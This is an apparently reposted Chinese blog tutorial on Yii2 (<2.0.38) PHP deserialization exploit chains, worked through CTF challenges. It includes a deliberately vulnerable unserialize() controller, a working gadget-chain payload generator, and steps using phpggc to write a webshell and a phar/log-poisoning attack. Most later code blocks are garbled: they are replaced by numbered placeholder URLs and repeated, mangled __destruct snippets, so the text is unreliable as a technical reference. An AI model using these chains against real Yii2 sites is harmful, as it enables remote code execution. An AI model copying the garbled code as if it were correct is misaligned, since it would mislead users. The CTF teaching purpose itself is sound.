精选几道CTF习题,带你学习yii2框架!

广告:宝塔服务器面板,一键全能部署及管理,送你10850元礼包,点我领取~~~

精选几道CTF习题,带你学习yii2框架!

本篇文章带大家了解yii2框架,分享几道CTF习题,通过它们来学习yii2框架,希望对大家有所帮助。

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架

Yii2<2.0.38反序列化

安装:在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?phpnamespace app\controllers;use yii\web\Controller;class TestController extends Controller{    public function actionTest($name){        return unserialize($name);    }}
登录后复制

就可以进行测试了

?r=test/test&name=
登录后复制链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }
登录后复制

跟进$this->reset();

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }
登录后复制

这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes)    {        return $this->format($method, $attributes);    }
登录后复制

这里的$methodclose$attributes为空,继续跟进format

public function format($formatter, $arguments = array())    {        return call_user_func_array($this->getFormatter($formatter), $arguments);    }
登录后复制

跟进getFormatter

public function getFormatter($formatter)    {        if (isset($this->formatters[$formatter])) {            return $this->formatters[$formatter];        }
登录后复制

似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空

到这里可以执行phpinfo

<?phpnamespace yii\db{    class BatchQueryResult{        private $_dataReader;        public function __construct($_dataReader) {            $this->_dataReader = $_dataReader;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace {    $a = new Faker\Generator(array('close'=>'phpinfo'));    $b = new yii\db\BatchQueryResult($a);    print(urlencode(serialize($b)));}
登录后复制

但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
登录后复制

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.phppublic function run()    {        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);        }        return $this->prepareDataProvider();    }yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.phppublic function run(){    if ($this->checkAccess) {        call_user_func($this->checkAccess, $this->id);}
登录后复制

这里的$this->checkAccess$this->id都是我们可控的

所以直接构造就行了

?r=test/test&name=0
登录后复制

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

?r=test/test&name=1
登录后复制

这里跟进$this->composeFields()

?r=test/test&name=2
登录后复制

这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)

这里直接构造即可

?r=test/test&name=3
登录后复制链三

我们可以在yii2 2.0.38commit看到他加了一个__wakeup

这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

?r=test/test&name=4
登录后复制

这里继续跟进stopProcess

?r=test/test&name=5
登录后复制

这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了

?r=test/test&name=6
登录后复制链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

?r=test/test&name=7
登录后复制

这里$nsKey可控,跟进clearAll

?r=test/test&name=8
登录后复制

这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString

随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

?r=test/test&name=9
登录后复制

同样用他去触发__call

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }0
登录后复制

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

可以使用如下命令快速得到链,-uurl编码

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }1
登录后复制

phpggc的链二的终点是一个eval,所以这里可以直接写shell-bbase64编码

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }2
登录后复制CTF题目[HMBCTF 2021]framework

把题目附件解压,看到html\controllers\SiteController.php

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }3
登录后复制

这里可以这样传参

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }4
登录后复制

拿链一打了一下,发现一下system等函数被ban

这里用phpggc yii2的链二写一个shell进去,然后用蚁剑的 apache/moddisable,运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容,或许对你有用!!

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }5
登录后复制

看到附件的SiteController.php就改了这个地方

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }6
登录后复制

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }7
登录后复制

首先清空日志文件

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }8
登录后复制

phpggc生成

public function __destruct()    {        // make sure cursor is closed        $this->reset();    }9
登录后复制

写入日志,注意最后面要加个字符a

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }0
登录后复制

保留phar的内容

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }1
登录后复制

最后用phar协议打一下

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }2
登录后复制

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

public function reset()    {        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }3
登录后复制

本文涉及相关实验:PHP反序列化漏洞实验 (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

相关文章教程推荐:《yii框架教程》

以上就是精选几道CTF习题,带你学习yii2框架!的详细内容,更多请关注9543建站博客其它相关文章!

9543建站博客
一个专注于网站开发、微信开发的技术类纯净博客。
作者头像
admin创始人

肥猫,知名SEO博客站长,14年SEO经验。

上一篇:thinkphp3.2.3验证码不显示怎么办
下一篇:微信小程序 input输入框控件详解及实例(多种示例)

发表评论

关闭广告
关闭广告